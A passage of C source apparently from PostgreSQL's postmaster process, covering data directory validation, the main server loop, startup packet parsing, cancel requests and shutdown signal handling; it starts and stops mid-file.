} /* * Next, remove any filesystem entries for Unix sockets. To avoid race * conditions against incoming postmasters, this must happen after closing * the sockets and before removing lock files. */ RemoveSocketFiles(); /* * We don't do anything about socket lock files here; those will be * removed in a later on_proc_exit callback. */ } /* * on_proc_exit callback to delete external_pid_file */ static void unlink_external_pid_file(int status, Datum arg) { if (external_pid_file) unlink(external_pid_file); } /* * Compute and check the directory paths to files that are part of the * installation (as deduced from the postgres executable's own location) */ static void getInstallationPaths(const char *argv0) { DIR *pdir; /* Locate the postgres executable itself */ if (find_my_exec(argv0, my_exec_path) < 0) elog(FATAL, "%s: could not locate my own executable path", argv0); #ifdef EXEC_BACKEND /* Locate executable backend before we change working directory */ if (find_other_exec(argv0, "postgres", PG_BACKEND_VERSIONSTR, postgres_exec_path) < 0) ereport(FATAL, (errmsg("%s: could not locate matching postgres executable", argv0))); #endif /* * Locate the pkglib directory --- this has to be set early in case we try * to load any modules from it in response to postgresql.conf entries. */ get_pkglib_path(my_exec_path, pkglib_path); /* * Verify that there's a readable directory there; otherwise the Postgres * installation is incomplete or corrupt. (A typical cause of this * failure is that the postgres executable has been moved or hardlinked to * some directory that's not a sibling of the installation lib/ * directory.) */ pdir = AllocateDir(pkglib_path); if (pdir == NULL) ereport(ERROR, (errcode_for_file_access(), errmsg("could not open directory \"%s\": %m", pkglib_path), errhint("This may indicate an incomplete PostgreSQL installation, or that the file \"%s\" has been moved away from its proper location.", my_exec_path))); FreeDir(pdir); /* * XXX is it worth similarly checking the share/ directory? If the lib/ * directory is there, then share/ probably is too. */ } /* * Validate the proposed data directory */ static void checkDataDir(void) { char path[MAXPGPATH]; FILE *fp; struct stat stat_buf; Assert(DataDir); if (stat(DataDir, &stat_buf) != 0) { if (errno == ENOENT) ereport(FATAL, (errcode_for_file_access(), errmsg("data directory \"%s\" does not exist", DataDir))); else ereport(FATAL, (errcode_for_file_access(), errmsg("could not read permissions of directory \"%s\": %m", DataDir))); } /* eventual chdir would fail anyway, but let's test ... */ if (!S_ISDIR(stat_buf.st_mode)) ereport(FATAL, (errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE), errmsg("specified data directory \"%s\" is not a directory", DataDir))); /* * Check that the directory belongs to my userid; if not, reject. * * This check is an essential part of the interlock that prevents two * postmasters from starting in the same directory (see CreateLockFile()). * Do not remove or weaken it. * * XXX can we safely enable this check on Windows? */ #if !defined(WIN32) && !defined(__CYGWIN__) if (stat_buf.st_uid != geteuid()) ereport(FATAL, (errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE), errmsg("data directory \"%s\" has wrong ownership", DataDir), errhint("The server must be started by the user that owns the data directory."))); #endif /* * Check if the directory has group or world access. If so, reject. * * It would be possible to allow weaker constraints (for example, allow * group access) but we cannot make a general assumption that that is * okay; for example there are platforms where nearly all users * customarily belong to the same group. Perhaps this test should be * configurable. * * XXX temporarily suppress check when on Windows, because there may not * be proper support for Unix-y file permissions. Need to think of a * reasonable check to apply on Windows. */ #if !defined(WIN32) && !defined(__CYGWIN__) if (stat_buf.st_mode & (S_IRWXG | S_IRWXO)) ereport(FATAL, (errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE), errmsg("data directory \"%s\" has group or world access", DataDir), errdetail("Permissions should be u=rwx (0700)."))); #endif /* Look for PG_VERSION before looking for pg_control */ ValidatePgVersion(DataDir); snprintf(path, sizeof(path), "%s/global/pg_control", DataDir); fp = AllocateFile(path, PG_BINARY_R); if (fp == NULL) { write_stderr("%s: could not find the database system\n" "Expected to find it in the directory \"%s\",\n" "but could not open file \"%s\": %s\n", progname, DataDir, path, strerror(errno)); ExitPostmaster(2); } FreeFile(fp); } /* * Determine how long should we let ServerLoop sleep. * * In normal conditions we wait at most one minute, to ensure that the other * background tasks handled by ServerLoop get done even when no requests are * arriving. However, if there are background workers waiting to be started, * we don't actually sleep so that they are quickly serviced. Other exception * cases are as shown in the code. */ static void DetermineSleepTime(struct timeval * timeout) { TimestampTz next_wakeup = 0; /* * Normal case: either there are no background workers at all, or we're in * a shutdown sequence (during which we ignore bgworkers altogether). */ if (Shutdown > NoShutdown || (!StartWorkerNeeded && !HaveCrashedWorker)) { if (AbortStartTime != 0) { /* time left to abort; clamp to 0 in case it already expired */ timeout->tv_sec = SIGKILL_CHILDREN_AFTER_SECS - (time(NULL) - AbortStartTime); timeout->tv_sec = Max(timeout->tv_sec, 0); timeout->tv_usec = 0; } else { timeout->tv_sec = 60; timeout->tv_usec = 0; } return; } if (StartWorkerNeeded) { timeout->tv_sec = 0; timeout->tv_usec = 0; return; } if (HaveCrashedWorker) { slist_mutable_iter siter; /* * When there are crashed bgworkers, we sleep just long enough that * they are restarted when they request to be. Scan the list to * determine the minimum of all wakeup times according to most recent * crash time and requested restart interval. */ slist_foreach_modify(siter, &BackgroundWorkerList) { RegisteredBgWorker *rw; TimestampTz this_wakeup; rw = slist_container(RegisteredBgWorker, rw_lnode, siter.cur); if (rw->rw_crashed_at == 0) continue; if (rw->rw_worker.bgw_restart_time == BGW_NEVER_RESTART || rw->rw_terminate) { ForgetBackgroundWorker(&siter); continue; } this_wakeup = TimestampTzPlusMilliseconds(rw->rw_crashed_at, 1000L * rw->rw_worker.bgw_restart_time); if (next_wakeup == 0 || this_wakeup < next_wakeup) next_wakeup = this_wakeup; } } if (next_wakeup != 0) { long secs; int microsecs; TimestampDifference(GetCurrentTimestamp(), next_wakeup, &secs, &microsecs); timeout->tv_sec = secs; timeout->tv_usec = microsecs; /* Ensure we don't exceed one minute */ if (timeout->tv_sec > 60) { timeout->tv_sec = 60; timeout->tv_usec = 0; } } else { timeout->tv_sec = 60; timeout->tv_usec = 0; } } /* * Main idle loop of postmaster * * NB: Needs to be called with signals blocked */ static int ServerLoop(void) { fd_set readmask; int nSockets; time_t last_lockfile_recheck_time, last_touch_time; last_lockfile_recheck_time = last_touch_time = time(NULL); nSockets = initMasks(&readmask); for (;;) { fd_set rmask; int selres; time_t now; /* * Wait for a connection request to arrive. * * We block all signals except while sleeping. That makes it safe for * signal handlers, which again block all signals while executing, to * do nontrivial work. * * If we are in PM_WAIT_DEAD_END state, then we don't want to accept * any new connections, so we don't call select(), and just sleep. */ memcpy((char *) &rmask, (char *) &readmask, sizeof(fd_set)); if (pmState == PM_WAIT_DEAD_END) { PG_SETMASK(&UnBlockSig); pg_usleep(100000L); /* 100 msec seems reasonable */ selres = 0; PG_SETMASK(&BlockSig); } else { /* must set timeout each time; some OSes change it! */ struct timeval timeout; /* Needs to run with blocked signals! */ DetermineSleepTime(&timeout); PG_SETMASK(&UnBlockSig); selres = select(nSockets, &rmask, NULL, NULL, &timeout); PG_SETMASK(&BlockSig); } /* Now check the select() result */ if (selres < 0) { if (errno != EINTR && errno != EWOULDBLOCK) { ereport(LOG, (errcode_for_socket_access(), errmsg("select() failed in postmaster: %m"))); return STATUS_ERROR; } } /* * New connection pending on any of our sockets? If so, fork a child * process to deal with it. */ if (selres > 0) { int i; for (i = 0; i < MAXLISTEN; i++) { if (ListenSocket[i] == PGINVALID_SOCKET) break; if (FD_ISSET(ListenSocket[i], &rmask)) { Port *port; port = ConnCreate(ListenSocket[i]); if (port) { BackendStartup(port); /* * We no longer need the open socket or port structure * in this process */ StreamClose(port->sock); ConnFree(port); } } } } /* If we have lost the log collector, try to start a new one */ if (SysLoggerPID == 0 && Logging_collector) SysLoggerPID = SysLogger_Start(); /* * If no background writer process is running, and we are not in a * state that prevents it, start one. It doesn't matter if this * fails, we'll just try again later. Likewise for the checkpointer. */ if (pmState == PM_RUN || pmState == PM_RECOVERY || pmState == PM_HOT_STANDBY) { if (CheckpointerPID == 0) CheckpointerPID = StartCheckpointer(); if (BgWriterPID == 0) BgWriterPID = StartBackgroundWriter(); } /* * Likewise, if we have lost the walwriter process, try to start a new * one. But this is needed only in normal operation (else we cannot * be writing any new WAL). */ if (WalWriterPID == 0 && pmState == PM_RUN) WalWriterPID = StartWalWriter(); /* * If we have lost the autovacuum launcher, try to start a new one. We * don't want autovacuum to run in binary upgrade mode because * autovacuum might update relfrozenxid for empty tables before the * physical files are put in place. */ if (!IsBinaryUpgrade && AutoVacPID == 0 && (AutoVacuumingActive() || start_autovac_launcher) && pmState == PM_RUN) { AutoVacPID = StartAutoVacLauncher(); if (AutoVacPID != 0) start_autovac_launcher = false; /* signal processed */ } /* If we have lost the stats collector, try to start a new one */ if (PgStatPID == 0 && (pmState == PM_RUN || pmState == PM_HOT_STANDBY)) PgStatPID = pgstat_start(); /* If we have lost the archiver, try to start a new one. */ if (PgArchPID == 0 && PgArchStartupAllowed()) PgArchPID = pgarch_start(); /* If we need to signal the autovacuum launcher, do so now */ if (avlauncher_needs_signal) { avlauncher_needs_signal = false; if (AutoVacPID != 0) kill(AutoVacPID, SIGUSR2); } /* Get other worker processes running, if needed */ if (StartWorkerNeeded || HaveCrashedWorker) maybe_start_bgworker(); #ifdef HAVE_PTHREAD_IS_THREADED_NP /* * With assertions enabled, check regularly for appearance of * additional threads. All builds check at start and exit. */ Assert(pthread_is_threaded_np() == 0); #endif /* * Lastly, check to see if it's time to do some things that we don't * want to do every single time through the loop, because they're a * bit expensive. Note that there's up to a minute of slop in when * these tasks will be performed, since DetermineSleepTime() will let * us sleep at most that long; except for SIGKILL timeout which has * special-case logic there. */ now = time(NULL); /* * If we already sent SIGQUIT to children and they are slow to shut * down, it's time to send them SIGKILL. This doesn't happen * normally, but under certain conditions backends can get stuck while * shutting down. This is a last measure to get them unwedged. * * Note we also do this during recovery from a process crash. */ if ((Shutdown >= ImmediateShutdown || (FatalError && !SendStop)) && AbortStartTime != 0 && (now - AbortStartTime) >= SIGKILL_CHILDREN_AFTER_SECS) { /* We were gentle with them before. Not anymore */ TerminateChildren(SIGKILL); /* reset flag so we don't SIGKILL again */ AbortStartTime = 0; } /* * Once a minute, verify that postmaster.pid hasn't been removed or * overwritten. If it has, we force a shutdown. This avoids having * postmasters and child processes hanging around after their database * is gone, and maybe causing problems if a new database cluster is * created in the same place. It also provides some protection * against a DBA foolishly removing postmaster.pid and manually * starting a new postmaster. Data corruption is likely to ensue from * that anyway, but we can minimize the damage by aborting ASAP. */ if (now - last_lockfile_recheck_time >= 1 * SECS_PER_MINUTE) { if (!RecheckDataDirLockFile()) { ereport(LOG, (errmsg("performing immediate shutdown because data directory lock file is invalid"))); kill(MyProcPid, SIGQUIT); } last_lockfile_recheck_time = now; } /* * Touch Unix socket and lock files every 58 minutes, to ensure that * they are not removed by overzealous /tmp-cleaning tasks. We assume * no one runs cleaners with cutoff times of less than an hour ... */ if (now - last_touch_time >= 58 * SECS_PER_MINUTE) { TouchSocketFiles(); TouchSocketLockFiles(); last_touch_time = now; } } } /* * Initialise the masks for select() for the ports we are listening on. * Return the number of sockets to listen on. */ static int initMasks(fd_set *rmask) { int maxsock = -1; int i; FD_ZERO(rmask); for (i = 0; i < MAXLISTEN; i++) { int fd = ListenSocket[i]; if (fd == PGINVALID_SOCKET) break; FD_SET(fd, rmask); if (fd > maxsock) maxsock = fd; } return maxsock + 1; } /* * Read a client's startup packet and do something according to it. * * Returns STATUS_OK or STATUS_ERROR, or might call ereport(FATAL) and * not return at all. * * (Note that ereport(FATAL) stuff is sent to the client, so only use it * if that's what you want. Return STATUS_ERROR if you don't want to * send anything to the client, which would typically be appropriate * if we detect a communications failure.) */ static int ProcessStartupPacket(Port *port, bool SSLdone) { int32 len; void *buf; ProtocolVersion proto; MemoryContext oldcontext; pq_startmsgread(); if (pq_getbytes((char *) &len, 4) == EOF) { /* * EOF after SSLdone probably means the client didn't like our * response to NEGOTIATE_SSL_CODE. That's not an error condition, so * don't clutter the log with a complaint. */ if (!SSLdone) ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("incomplete startup packet"))); return STATUS_ERROR; } len = ntohl(len); len -= 4; if (len < (int32) sizeof(ProtocolVersion) || len > MAX_STARTUP_PACKET_LENGTH) { ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("invalid length of startup packet"))); return STATUS_ERROR; } /* * Allocate at least the size of an old-style startup packet, plus one * extra byte, and make sure all are zeroes. This ensures we will have * null termination of all strings, in both fixed- and variable-length * packet layouts. */ if (len <= (int32) sizeof(StartupPacket)) buf = palloc0(sizeof(StartupPacket) + 1); else buf = palloc0(len + 1); if (pq_getbytes(buf, len) == EOF) { ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("incomplete startup packet"))); return STATUS_ERROR; } pq_endmsgread(); /* * The first field is either a protocol version number or a special * request code. */ port->proto = proto = ntohl(*((ProtocolVersion *) buf)); if (proto == CANCEL_REQUEST_CODE) { processCancelRequest(port, buf); /* Not really an error, but we don't want to proceed further */ return STATUS_ERROR; } if (proto == NEGOTIATE_SSL_CODE && !SSLdone) { char SSLok; #ifdef USE_SSL /* No SSL when disabled or on Unix sockets */ if (!LoadedSSL || IS_AF_UNIX(port->laddr.addr.ss_family)) SSLok = 'N'; else SSLok = 'S'; /* Support for SSL */ #else SSLok = 'N'; /* No support for SSL */ #endif retry1: if (send(port->sock, &SSLok, 1, 0) != 1) { if (errno == EINTR) goto retry1; /* if interrupted, just retry */ ereport(COMMERROR, (errcode_for_socket_access(), errmsg("failed to send SSL negotiation response: %m"))); return STATUS_ERROR; /* close the connection */ } #ifdef USE_SSL if (SSLok == 'S' && secure_open_server(port) == -1) return STATUS_ERROR; #endif /* regular startup packet, cancel, etc packet should follow... */ /* but not another SSL negotiation request */ return ProcessStartupPacket(port, true); } /* Could add additional special packet types here */ /* * Set FrontendProtocol now so that ereport() knows what format to send if * we fail during startup. */ FrontendProtocol = proto; /* Check we can handle the protocol the frontend is using. */ if (PG_PROTOCOL_MAJOR(proto) < PG_PROTOCOL_MAJOR(PG_PROTOCOL_EARLIEST) || PG_PROTOCOL_MAJOR(proto) > PG_PROTOCOL_MAJOR(PG_PROTOCOL_LATEST) || (PG_PROTOCOL_MAJOR(proto) == PG_PROTOCOL_MAJOR(PG_PROTOCOL_LATEST) && PG_PROTOCOL_MINOR(proto) > PG_PROTOCOL_MINOR(PG_PROTOCOL_LATEST))) ereport(FATAL, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("unsupported frontend protocol %u.%u: server supports %u.0 to %u.%u", PG_PROTOCOL_MAJOR(proto), PG_PROTOCOL_MINOR(proto), PG_PROTOCOL_MAJOR(PG_PROTOCOL_EARLIEST), PG_PROTOCOL_MAJOR(PG_PROTOCOL_LATEST), PG_PROTOCOL_MINOR(PG_PROTOCOL_LATEST)))); /* * Now fetch parameters out of startup packet and save them into the Port * structure. All data structures attached to the Port struct must be * allocated in TopMemoryContext so that they will remain available in a * running backend (even after PostmasterContext is destroyed). We need * not worry about leaking this storage on failure, since we aren't in the * postmaster process anymore. */ oldcontext = MemoryContextSwitchTo(TopMemoryContext); if (PG_PROTOCOL_MAJOR(proto) >= 3) { int32 offset = sizeof(ProtocolVersion); /* * Scan packet body for name/option pairs. We can assume any string * beginning within the packet body is null-terminated, thanks to * zeroing extra byte above. */ port->guc_options = NIL; while (offset < len) { char *nameptr = ((char *) buf) + offset; int32 valoffset; char *valptr; if (*nameptr == '\0') break; /* found packet terminator */ valoffset = offset + strlen(nameptr) + 1; if (valoffset >= len) break; /* missing value, will complain below */ valptr = ((char *) buf) + valoffset; if (strcmp(nameptr, "database") == 0) port->database_name = pstrdup(valptr); else if (strcmp(nameptr, "user") == 0) port->user_name = pstrdup(valptr); else if (strcmp(nameptr, "options") == 0) port->cmdline_options = pstrdup(valptr); else if (strcmp(nameptr, "replication") == 0) { /* * Due to backward compatibility concerns the replication * parameter is a hybrid beast which allows the value to be * either boolean or the string 'database'. The latter * connects to a specific database which is e.g. required for * logical decoding while. */ if (strcmp(valptr, "database") == 0) { am_walsender = true; am_db_walsender = true; } else if (!parse_bool(valptr, &am_walsender)) ereport(FATAL, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("invalid value for parameter \"%s\": \"%s\"", "replication", valptr), errhint("Valid values are: \"false\", 0, \"true\", 1, \"database\"."))); } else { /* Assume it's a generic GUC option */ port->guc_options = lappend(port->guc_options, pstrdup(nameptr)); port->guc_options = lappend(port->guc_options, pstrdup(valptr)); } offset = valoffset + strlen(valptr) + 1; } /* * If we didn't find a packet terminator exactly at the end of the * given packet length, complain. */ if (offset != len - 1) ereport(FATAL, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("invalid startup packet layout: expected terminator as last byte"))); } else { /* * Get the parameters from the old-style, fixed-width-fields startup * packet as C strings. The packet destination was cleared first so a * short packet has zeros silently added. We have to be prepared to * truncate the pstrdup result for oversize fields, though. */ StartupPacket *packet = (StartupPacket *) buf; port->database_name = pstrdup(packet->database); if (strlen(port->database_name) > sizeof(packet->database)) port->database_name[sizeof(packet->database)] = '\0'; port->user_name = pstrdup(packet->user); if (strlen(port->user_name) > sizeof(packet->user)) port->user_name[sizeof(packet->user)] = '\0'; port->cmdline_options = pstrdup(packet->options); if (strlen(port->cmdline_options) > sizeof(packet->options)) port->cmdline_options[sizeof(packet->options)] = '\0'; port->guc_options = NIL; } /* Check a user name was given. */ if (port->user_name == NULL || port->user_name[0] == '\0') ereport(FATAL, (errcode(ERRCODE_INVALID_AUTHORIZATION_SPECIFICATION), errmsg("no PostgreSQL user name specified in startup packet"))); /* The database defaults to the user name. */ if (port->database_name == NULL || port->database_name[0] == '\0') port->database_name = pstrdup(port->user_name); if (Db_user_namespace) { /* * If user@, it is a global user, remove '@'. We only want to do this * if there is an '@' at the end and no earlier in the user string or * they may fake as a local user of another database attaching to this * database. */ if (strchr(port->user_name, '@') == port->user_name + strlen(port->user_name) - 1) *strchr(port->user_name, '@') = '\0'; else { /* Append '@' and dbname */ port->user_name = psprintf("%s@%s", port->user_name, port->database_name); } } /* * Truncate given database and user names to length of a Postgres name. * This avoids lookup failures when overlength names are given. */ if (strlen(port->database_name) >= NAMEDATALEN) port->database_name[NAMEDATALEN - 1] = '\0'; if (strlen(port->user_name) >= NAMEDATALEN) port->user_name[NAMEDATALEN - 1] = '\0'; /* * Normal walsender backends, e.g. for streaming replication, are not * connected to a particular database. But walsenders used for logical * replication need to connect to a specific database. We allow streaming * replication commands to be issued even if connected to a database as it * can make sense to first make a basebackup and then stream changes * starting from that. */ if (am_walsender && !am_db_walsender) port->database_name[0] = '\0'; /* * Done putting stuff in TopMemoryContext. */ MemoryContextSwitchTo(oldcontext); /* * If we're going to reject the connection due to database state, say so * now instead of wasting cycles on an authentication exchange. (This also * allows a pg_ping utility to be written.) */ switch (port->canAcceptConnections) { case CAC_STARTUP: ereport(FATAL, (errcode(ERRCODE_CANNOT_CONNECT_NOW), errmsg("the database system is starting up"))); break; case CAC_SHUTDOWN: ereport(FATAL, (errcode(ERRCODE_CANNOT_CONNECT_NOW), errmsg("the database system is shutting down"))); break; case CAC_RECOVERY: ereport(FATAL, (errcode(ERRCODE_CANNOT_CONNECT_NOW), errmsg("the database system is in recovery mode"))); break; case CAC_TOOMANY: ereport(FATAL, (errcode(ERRCODE_TOO_MANY_CONNECTIONS), errmsg("sorry, too many clients already"))); break; case CAC_WAITBACKUP: /* OK for now, will check in InitPostgres */ break; case CAC_OK: break; } return STATUS_OK; } /* * The client has sent a cancel request packet, not a normal * start-a-new-connection packet. Perform the necessary processing. * Nothing is sent back to the client. */ static void processCancelRequest(Port *port, void *pkt) { CancelRequestPacket *canc = (CancelRequestPacket *) pkt; int backendPID; int32 cancelAuthCode; Backend *bp; #ifndef EXEC_BACKEND dlist_iter iter; #else int i; #endif backendPID = (int) ntohl(canc->backendPID); cancelAuthCode = (int32) ntohl(canc->cancelAuthCode); /* * See if we have a matching backend. In the EXEC_BACKEND case, we can no * longer access the postmaster's own backend list, and must rely on the * duplicate array in shared memory. */ #ifndef EXEC_BACKEND dlist_foreach(iter, &BackendList) { bp = dlist_container(Backend, elem, iter.cur); #else for (i = MaxLivePostmasterChildren() - 1; i >= 0; i--) { bp = (Backend *) &ShmemBackendArray[i]; #endif if (bp->pid == backendPID) { if (bp->cancel_key == cancelAuthCode) { /* Found a match; signal that backend to cancel current op */ ereport(DEBUG2, (errmsg_internal("processing cancel request: sending SIGINT to process %d", backendPID))); signal_child(bp->pid, SIGINT); } else /* Right PID, wrong key: no way, Jose */ ereport(LOG, (errmsg("wrong key in cancel request for process %d", backendPID))); return; } } /* No matching backend */ ereport(LOG, (errmsg("PID %d in cancel request did not match any process", backendPID))); } /* * canAcceptConnections --- check to see if database state allows connections. */ static CAC_state canAcceptConnections(void) { CAC_state result = CAC_OK; /* * Can't start backends when in startup/shutdown/inconsistent recovery * state. * * In state PM_WAIT_BACKUP only superusers can connect (this must be * allowed so that a superuser can end online backup mode); we return * CAC_WAITBACKUP code to indicate that this must be checked later. Note * that neither CAC_OK nor CAC_WAITBACKUP can safely be returned until we * have checked for too many children. */ if (pmState != PM_RUN) { if (pmState == PM_WAIT_BACKUP) result = CAC_WAITBACKUP; /* allow superusers only */ else if (Shutdown > NoShutdown) return CAC_SHUTDOWN; /* shutdown is pending */ else if (!FatalError && (pmState == PM_STARTUP || pmState == PM_RECOVERY)) return CAC_STARTUP; /* normal startup */ else if (!FatalError && pmState == PM_HOT_STANDBY) result = CAC_OK; /* connection OK during hot standby */ else return CAC_RECOVERY; /* else must be crash recovery */ } /* * Don't start too many children. * * We allow more connections than we can have backends here because some * might still be authenticating; they might fail auth, or some existing * backend might exit before the auth cycle is completed. The exact * MaxBackends limit is enforced when a new backend tries to join the * shared-inval backend array. * * The limit here must match the sizes of the per-child-process arrays; * see comments for MaxLivePostmasterChildren(). */ if (CountChildren(BACKEND_TYPE_ALL) >= MaxLivePostmasterChildren()) result = CAC_TOOMANY; return result; } /* * ConnCreate -- create a local connection data structure * * Returns NULL on failure, other than out-of-memory which is fatal. */ static Port * ConnCreate(int serverFd) { Port *port; if (!(port = (Port *) calloc(1, sizeof(Port)))) { ereport(LOG, (errcode(ERRCODE_OUT_OF_MEMORY), errmsg("out of memory"))); ExitPostmaster(1); } if (StreamConnection(serverFd, port) != STATUS_OK) { if (port->sock != PGINVALID_SOCKET) StreamClose(port->sock); ConnFree(port); return NULL; } /* * Allocate GSSAPI specific state struct */ #ifndef EXEC_BACKEND #if defined(ENABLE_GSS) || defined(ENABLE_SSPI) port->gss = (pg_gssinfo *) calloc(1, sizeof(pg_gssinfo)); if (!port->gss) { ereport(LOG, (errcode(ERRCODE_OUT_OF_MEMORY), errmsg("out of memory"))); ExitPostmaster(1); } #endif #endif return port; } /* * ConnFree -- free a local connection data structure */ static void ConnFree(Port *conn) { #ifdef USE_SSL secure_close(conn); #endif if (conn->gss) free(conn->gss); free(conn); } /* * ClosePostmasterPorts -- close all the postmaster's open sockets * * This is called during child process startup to release file descriptors * that are not needed by that child process. The postmaster still has * them open, of course. * * Note: we pass am_syslogger as a boolean because we don't want to set * the global variable yet when this is called. */ void ClosePostmasterPorts(bool am_syslogger) { int i; #ifndef WIN32 /* * Close the write end of postmaster death watch pipe. It's important to * do this as early as possible, so that if postmaster dies, others won't * think that it's still running because we're holding the pipe open. */ if (close(postmaster_alive_fds[POSTMASTER_FD_OWN])) ereport(FATAL, (errcode_for_file_access(), errmsg_internal("could not close postmaster death monitoring pipe in child process: %m"))); postmaster_alive_fds[POSTMASTER_FD_OWN] = -1; #endif /* Close the listen sockets */ for (i = 0; i < MAXLISTEN; i++) { if (ListenSocket[i] != PGINVALID_SOCKET) { StreamClose(ListenSocket[i]); ListenSocket[i] = PGINVALID_SOCKET; } } /* If using syslogger, close the read side of the pipe */ if (!am_syslogger) { #ifndef WIN32 if (syslogPipe[0] >= 0) close(syslogPipe[0]); syslogPipe[0] = -1; #else if (syslogPipe[0]) CloseHandle(syslogPipe[0]); syslogPipe[0] = 0; #endif } #ifdef USE_BONJOUR /* If using Bonjour, close the connection to the mDNS daemon */ if (bonjour_sdref) close(DNSServiceRefSockFD(bonjour_sdref)); #endif } /* * reset_shared -- reset shared memory and semaphores */ static void reset_shared(int port) { /* * Create or re-create shared memory and semaphores. * * Note: in each "cycle of life" we will normally assign the same IPC keys * (if using SysV shmem and/or semas), since the port number is used to * determine IPC keys. This helps ensure that we will clean up dead IPC * objects if the postmaster crashes and is restarted. */ CreateSharedMemoryAndSemaphores(false, port); } /* * SIGHUP -- reread config files, and tell children to do same */ static void SIGHUP_handler(SIGNAL_ARGS) { int save_errno = errno; PG_SETMASK(&BlockSig); if (Shutdown <= SmartShutdown) { ereport(LOG, (errmsg("received SIGHUP, reloading configuration files"))); ProcessConfigFile(PGC_SIGHUP); SignalChildren(SIGHUP); if (StartupPID != 0) signal_child(StartupPID, SIGHUP); if (BgWriterPID != 0) signal_child(BgWriterPID, SIGHUP); if (CheckpointerPID != 0) signal_child(CheckpointerPID, SIGHUP); if (WalWriterPID != 0) signal_child(WalWriterPID, SIGHUP); if (WalReceiverPID != 0) signal_child(WalReceiverPID, SIGHUP); if (AutoVacPID != 0) signal_child(AutoVacPID, SIGHUP); if (PgArchPID != 0) signal_child(PgArchPID, SIGHUP); if (SysLoggerPID != 0) signal_child(SysLoggerPID, SIGHUP); if (PgStatPID != 0) signal_child(PgStatPID, SIGHUP); /* Reload authentication config files too */ if (!load_hba()) ereport(LOG, (errmsg("pg_hba.conf was not reloaded"))); if (!load_ident()) ereport(LOG, (errmsg("pg_ident.conf was not reloaded"))); #ifdef USE_SSL /* Reload SSL configuration as well */ if (EnableSSL) { if (secure_initialize(false) == 0) LoadedSSL = true; else ereport(LOG, (errmsg("SSL configuration was not reloaded"))); } else { secure_destroy(); LoadedSSL = false; } #endif #ifdef EXEC_BACKEND /* Update the starting-point file for future children */ write_nondefault_variables(PGC_SIGHUP); #endif } PG_SETMASK(&UnBlockSig); errno = save_errno; } /* * pmdie -- signal handler for processing various postmaster signals. */ static void pmdie(SIGNAL_ARGS) { int save_errno = errno; PG_SETMASK(&BlockSig); ereport(DEBUG2, (errmsg_internal("postmaster received signal %d", postgres_signal_arg))); switch (postgres_signal_arg) { case SIGTERM: /* * Smart Shutdown: * * Wait for children to end their work, then shut down. */ if (Shutdown >= SmartShutdown) break; Shutdown = SmartShutdown; ereport(LOG, (errmsg("received smart shutdown request"))); #ifdef USE_SYSTEMD sd_notify(0, "STOPPING=1"); #endif if (pmState == PM_RUN || pmState == PM_RECOVERY || pmState == PM_HOT_STANDBY || pmState == PM_STARTUP) { /* autovac workers are told to shut down immediately */ /* and bgworkers too; does this need tweaking? */ SignalSomeChildren(SIGTERM, BACKEND_TYPE_AUTOVAC | BACKEND_TYPE_BGWORKER); /* and the autovac launcher too */ if (AutoVacPID != 0) signal_child(AutoVacPID, SIGTERM); /* and the bgwriter too */ if (BgWriterPID != 0) signal_child(BgWriterPID, SIGTERM); /* and the walwriter too */ if (WalWriterPID != 0) signal_child(WalWriterPID, SIGTERM); /* * If we're in recovery, we can't kill the startup process * right away, because at present doing so does not release * its locks. We might want to change this in a future * release. For the time being, the PM_WAIT_READONLY state * indicates that we're waiting for the regular (read only) * backends to die off; once they do, we'll kill the startup * and walreceiver processes. */ pmState = (pmState == PM_RUN) ? PM_WAIT_BACKUP : PM_WAIT_READONLY; } /* * Now wait for online backup mode to end and backends to exit. If * that is already the case, PostmasterStateMachine will take the * next step. */ PostmasterStateMachine(); break; case SIGINT: /* * Fast Shutdown: * * Abort all children with SIGTERM (rollback active transactions * and exit) and shut down when they are gone. */ if (Shutdown >= FastShutdown) break; Shutdown = FastShutdown; ereport(LOG, (errmsg("received fast shutdown request"))); #ifdef USE_SYSTEMD sd_notify(0, "STOPPING=1"); #endif if (StartupPID != 0) signal_child(StartupPID, SIGTERM); if (BgWriterPID != 0) signal_child(BgWriterPID, SIGTERM); if (WalReceiverPID != 0) signal_child(WalReceiverPID, SIGTERM); if (pmState == PM_RECOVERY) { SignalSomeChildren(SIGTERM, BACKEND_TYPE_BGWORKER); /* * Only startup, bgwriter, walreceiver, possibly bgworkers, * and/or checkpointer should be active in this state; we just * signaled the first four, and we don't want to kill * checkpointer yet. */ pmState = PM_WAIT_BACKENDS; } else if (pmState == PM_RUN || pmState == PM_WAIT_BACKUP || pmState == PM_WAIT_READONLY || pmState == PM_WAIT_BACKENDS || pmState == PM_HOT_STANDBY) { ereport(LOG, (errmsg("aborting any active transactions"))); /* shut down all backends and workers */ SignalSomeChildren(SIGTERM, BACKEND_TYPE_NORMAL | BACKEND_TYPE_AUTOVAC | BACKEND_TYPE_BGWORKER); /* and the autovac launcher too */ if (AutoVacPID != 0) signal_child(AutoVacPID, SIGTERM); /* and the walwriter too */ if (WalWriterPID != 0) signal_child(WalWriterPID, SIGTERM); pmState = PM_WAIT_BACKENDS; } /* * Now wait for backends to exit. If there are none, * PostmasterStateMachine will take the next step. */ PostmasterStateMachine(); break; case SIGQUIT: /* * Immediate Shutdown: * * abort all children with SIGQUIT, wait for them to exit, * terminate remaining ones with SIGKILL, then exit without * attempt to properly shut down the data base system. */ if (Shutdown >= ImmediateShutdown) break; Shutdown = ImmediateShutdown; ereport(LOG, (errmsg("received immediate shutdown request"))); #ifdef USE_SYSTEMD sd_notify(0, "STOPPING=1"); #endif TerminateChildren(SIGQUIT); pmState = PM_WAIT_BACKENDS; /* set stopwatch for them to die */ AbortStartTime = time(NULL); /* * Now wait for backends to exit. If there are none, * PostmasterStateMachine will take the next step. */ PostmasterStateMachine(); break; } PG_SETMASK(&UnBlockSig); errno = save_errno; } /* * Reaper -- signal handler to cleanup after a child process dies. */ static void reaper(SIGNAL_ARGS) { int save_errno = errno; int pid; /* process id of dead child process */ int exitstatus; /* its exit status */ PG_SETMASK(&BlockSig); ereport(DEBUG4, (errmsg_internal("reaping dead processes"))); 